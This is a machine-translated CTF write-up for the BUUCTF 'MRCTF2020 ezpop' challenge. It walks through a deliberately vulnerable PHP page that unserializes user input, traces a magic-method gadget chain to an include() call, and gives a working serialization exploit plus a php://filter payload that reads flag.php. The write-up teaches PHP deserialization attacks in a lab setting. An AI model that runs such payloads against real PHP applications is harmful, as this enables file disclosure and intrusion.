当前位置:网站首页>Buuctf breakthrough diary --[mrctf2020]ezpop1
Buuctf breakthrough diary --[mrctf2020]ezpop1
2022-07-22 21:10:00 【Breeze--】
Enter the page , Familiar code audit
There's a hint flag.php
<?php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
>
Let's look at the key code first
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
Yes pop deserialize , Let the reverse order output what we want falg
Analysis class :
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
There is a magic function in it __invoke, This function will trigger when the script attempts to call the object as a function
because __invoke Called append, There is a file containing , We can put what we want flag Bring it out
So we need to trigger __invoke
Look at the next class :
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
__construct Automatically called when an object is created , Basically, it must trigger
__get, This magic function is used to access the properties of some inaccessible data Like private properties
You can see __get Li attribute p Will be executed as a function , To satisfy the Modifier Inside __invoke, So now we need to trigger __get, Magical function __get It will be called automatically when accessing a non-existent property in the class
Look at the next class :
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
__tostring When an object is treated as a character, it triggers , You can see a regular match below , It's a source This object is treated as a matching object , So it can trigger , So how to trigger __wakeup,__wakeup When the sequence is reversed, it will call , So a closed loop is formed
unserialize->__wakeup->__tostring-> call class test-> Accepted source It doesn't exist -> call __get-> call __invoke->include()
So we need to include() It contains our flag
structure EXP:
<?php
class Modifier {
protected $var="flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$m = new Modifier();
$s = new Show();
$t = new Test();
$t->p = $m; // assignment Test Class object $t Properties under p by Modifier Class object $m, Trigger __invoke Magic methods
$s->str= $t;// assignment Show Class object $s Under the str Array of str Key value is Test Class object $t , Trigger __get Magic methods .
$s->source = $s;// Make Show Class object $s Under the source The attribute value is assigned in the previous step $s object , Thus, the object is called and triggered as a string .__tostring Magic methods
echo urlencode((serialize($s)));
urlencode Because protected It's a private property
After serialization of objects with different attributes, the character format is different
Private attribute : data type : Property name length :"\00 Class name \00 Property name "; data type : Property value length :" Property value ";
Protected attribute : data type : Property name length :"\00*\00 Property name "; data type : Property value length :" Property value ";
You can see that there is \00 If output directly, it will be directly omitted
After visiting, you will find
So we put
protected $var="flag.php";
This place uses pseudo protocol to get flag.php file
Change to
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
obtain
Decode :
obtain flag
边栏推荐
- Bash基本功能—输入输出重定向
- L'applet Wechat ne peut pas lire la propriété 'setdata' de NULL Error
- [lttng learning journey] ----- core concepts
- Buctf passing Diary - - [Netting Cup 2020 Qinglong Group] areuserialz
- 使用vis-network根据节点坐标定位环形工具栏
- BUUCTF闯关日记--[MRCTF2020]Ezpop1
- Human stars website collection plan -- Michael kerrisk
- Wechat applet cannot read property'setdata'of null error
- JUC-7.3-线程协作-CyclicBarrier
- 微信小程序入门教程学习笔记——UI篇之布局基础
猜你喜欢
[lttng learning journey] - a preliminary study of trace view
Airtest conducts webui automated testing (selenium)
【PyTorch深度学习实践】学习笔记 第三节 梯度下降
Chapter 2: configure data sources, redis, security, swagger and other tools jar for the project
Wechat applet cannot read property'setdata'of null error
Chapter 7: login using JWT token
微信小程序Cannot read property 'setData' of null錯誤
BUUCTF闯关日记--[NCTF2019]Fake XML cookbook
微信小程序综合案例实践1
TIME的新封面:元宇宙将改变一切
随机推荐
pytorch 自定义数据集载入(标签在csv文件里)
浅谈 filter伪协议的特性
Multithreading 05 -- lock
RPM包管理—YUM在线管理--YUM命令
微信小程序综合案例实践2
(六)vulhub专栏:Apereo-cas 4.x反序列化漏洞
pkg-config 查找库和用于编译
Interview of 2020 Central South University information and communication summer camp
Using MySQL database in Django
Pytorch自动求导
[pytorch deep learning practice] learning notes section III gradient decline
PKG config lookup library and for compilation
JVM principle and performance tuning
[LTTng学习之旅]------Trace控制--初阶
matlab中 FFT 的意义 学习记录
JUC-7.0-线程协作-CountDownLatch
Human stars website collection plan -- Michael kerrisk
JS BOM(浏览器对象模型)
Multithreading 06 -- countdownlatch, cyclicbarrier, semaphore
第四章:minio的presigned URLs上传文件